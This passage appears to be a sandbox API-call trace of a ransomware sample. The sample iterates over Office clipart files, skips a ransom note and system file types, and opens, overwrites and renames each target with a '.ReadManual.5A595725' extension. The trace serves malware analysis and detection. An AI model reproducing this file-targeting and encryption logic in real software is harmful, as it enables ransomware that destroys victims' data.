ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0260.965] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00444_.WMF" | out: lpString1="BS00444_.WMF") returned="BS00444_.WMF" [0260.965] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.965] StrStrIW (lpFirst="BS00444_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.965] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.965] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.965] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.965] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.965] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.965] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.965] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.965] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.965] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.965] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.965] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.965] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.965] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.965] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.966] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" [0260.966] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.ReadManual.5A595725" [0260.966] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.ReadManual.5A595725") returned 87 [0260.966] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38163438910) returned 1 [0260.966] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x20 [0260.966] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.967] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3896) returned 1 [0260.967] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf38, lpName=0x0) returned 0x184 [0260.967] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.967] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.967] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.969] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.969] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf38) returned 0x2f0000 [0260.969] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.969] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38163814775) returned 1 [0260.969] CloseHandle (hObject=0x184) returned 1 [0260.969] SetSecurityInfo () returned 0x57 [0260.970] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.970] CloseHandle (hObject=0x194) returned 1 [0260.970] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21757d00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21757d00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0260.970] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00445_.WMF" | out: lpString1="BS00445_.WMF") returned="BS00445_.WMF" [0260.970] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.970] StrStrIW (lpFirst="BS00445_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.970] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.970] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.970] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.970] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.971] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.971] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.971] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.971] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.971] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.971] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.971] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.971] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.971] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.971] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.971] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" [0260.971] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.ReadManual.5A595725" [0260.971] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.ReadManual.5A595725") returned 87 [0260.971] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38163965788) returned 1 [0260.971] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x20 [0260.971] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.971] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3796) returned 1 [0260.971] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xed4, lpName=0x0) returned 0x184 [0260.971] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.972] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.972] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.973] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.974] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xed4) returned 0x2f0000 [0260.974] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.974] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38164254497) returned 1 [0260.974] CloseHandle (hObject=0x184) returned 1 [0260.974] SetSecurityInfo () returned 0x57 [0260.974] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.974] CloseHandle (hObject=0x194) returned 1 [0260.975] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0260.975] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00453_.WMF" | out: lpString1="BS00453_.WMF") returned="BS00453_.WMF" [0260.975] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.975] StrStrIW (lpFirst="BS00453_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.975] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.975] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.975] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.975] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.975] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.975] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.975] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.975] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.975] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.975] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.975] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.975] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.975] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.975] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.975] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" [0260.975] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.ReadManual.5A595725" [0260.975] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.ReadManual.5A595725") returned 87 [0260.975] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38164406052) returned 1 [0260.975] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x20 [0260.975] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.976] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2436) returned 1 [0260.976] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x984, lpName=0x0) returned 0x184 [0260.976] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.976] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.976] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.978] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.978] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x984) returned 0x2f0000 [0260.978] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.978] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38164711928) returned 1 [0260.978] CloseHandle (hObject=0x184) returned 1 [0260.978] SetSecurityInfo () returned 0x57 [0260.979] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.979] CloseHandle (hObject=0x194) returned 1 [0260.979] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0260.979] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS01080_.WMF" | out: lpString1="BS01080_.WMF") returned="BS01080_.WMF" [0260.979] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.979] StrStrIW (lpFirst="BS01080_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.979] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.979] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.979] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.979] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.979] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.979] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.980] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.980] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.980] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.980] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.980] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.980] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.980] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.980] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.980] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" [0260.980] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.ReadManual.5A595725" [0260.980] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.ReadManual.5A595725") returned 87 [0260.980] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38164860223) returned 1 [0260.980] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x20 [0260.980] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.980] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2732) returned 1 [0260.980] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaac, lpName=0x0) returned 0x184 [0260.980] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.986] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.986] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.988] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.988] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaac) returned 0x2f0000 [0260.988] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.988] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38165681120) returned 1 [0260.988] CloseHandle (hObject=0x184) returned 1 [0260.988] SetSecurityInfo () returned 0x57 [0260.988] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.988] CloseHandle (hObject=0x194) returned 1 [0260.989] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d186600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d186600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0260.989] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS01603_.WMF" | out: lpString1="BS01603_.WMF") returned="BS01603_.WMF" [0260.989] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.989] StrStrIW (lpFirst="BS01603_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.989] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.989] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.989] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.989] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.989] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.989] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.989] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.989] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.989] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.989] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.989] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.989] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.989] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.989] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.989] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" [0260.989] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.ReadManual.5A595725" [0260.990] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.ReadManual.5A595725") returned 87 [0260.990] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38165831962) returned 1 [0260.990] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x20 [0260.990] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.991] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7176) returned 1 [0260.991] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c08, lpName=0x0) returned 0x184 [0260.991] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.991] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.991] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.993] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.993] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c08) returned 0x2f0000 [0260.993] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.993] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38166222596) returned 1 [0260.994] CloseHandle (hObject=0x184) returned 1 [0260.994] SetSecurityInfo () returned 0x57 [0260.994] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.994] CloseHandle (hObject=0x194) returned 1 [0260.994] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31ccd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc31ccd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0260.995] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS01634_.WMF" | out: lpString1="BS01634_.WMF") returned="BS01634_.WMF" [0260.995] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.995] StrStrIW (lpFirst="BS01634_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.995] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.995] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.995] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.995] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.995] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.995] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.995] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.995] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.995] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.995] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.995] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.995] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.995] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.995] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.995] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" | out: 